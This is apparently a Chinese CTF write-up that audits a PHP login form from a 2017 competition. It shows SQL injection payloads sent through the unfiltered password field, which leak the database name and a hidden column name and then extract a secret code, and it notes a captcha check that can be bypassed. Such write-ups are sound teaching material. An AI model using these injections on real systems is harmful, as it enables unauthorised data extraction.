sky's blog

2017 安恒总决赛的一道代码审计

字数统计: 352阅读时长: 2 min
2017/10/29 Share

源码审计

可疑代码index.php的登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or preg_match("|'|",$username) or preg_match("|\\\\|",$username))
die('Invalid user name');
$sql = "select id,user from users where user = '$username' and pass = md5('$password')";
$result = mysql_query($sql);
if($row = mysql_fetch_assoc($result)) {
$_SESSION['username'] = $username;
$location = "Location: profile.php?id=${row['id']}";
header($location);
exit;
}
else {
die('Invalid user name or password');
}
}

关键语句:

1
$sql = "select id,user from users where user = '$username' and pass = md5('$password')";

过滤中只过滤了username,未对password进行过滤,可以直接构造:

1
$password = 1') union select database(),2#

发现可以成功注入
回显:

1
http://localhost/shenji/profile.php?id=shenji

发现id即为数据库名
所以可以得到注入payload:

1
$password = 1') union select (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 3,1),2#

即可得到回显:

1
http://localhost/shenji/profile.php?id=YounevercanGuessit

这样就可以得到secret的字段名了
然后同理注入即可获得兑换码:

1
$password = 1') union select (select YounevercanGuessit from users where user='sky'),2#

得到回显:

1
http://localhost/shenji/profile.php?id=u9lwa3x4j1h627sie8kzc5vgtfpmdyo0brqn

即可成功兑换flag

验证码的小问题

这里的验证码判断为:

1
2
3
4
5
6
7
8
9
if (isset($_POST['captcha']) && isset($_POST['duihuanma']))
{
if(!(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha']))
die('<center><p>captcha not right</p></center>');
$sql = "select $secret from users where user='${_SESSION['username']}'";
#echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
}

这里的验证码可以直接跳过,不需要爆破

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 源码审计
  2. 2. 验证码的小问题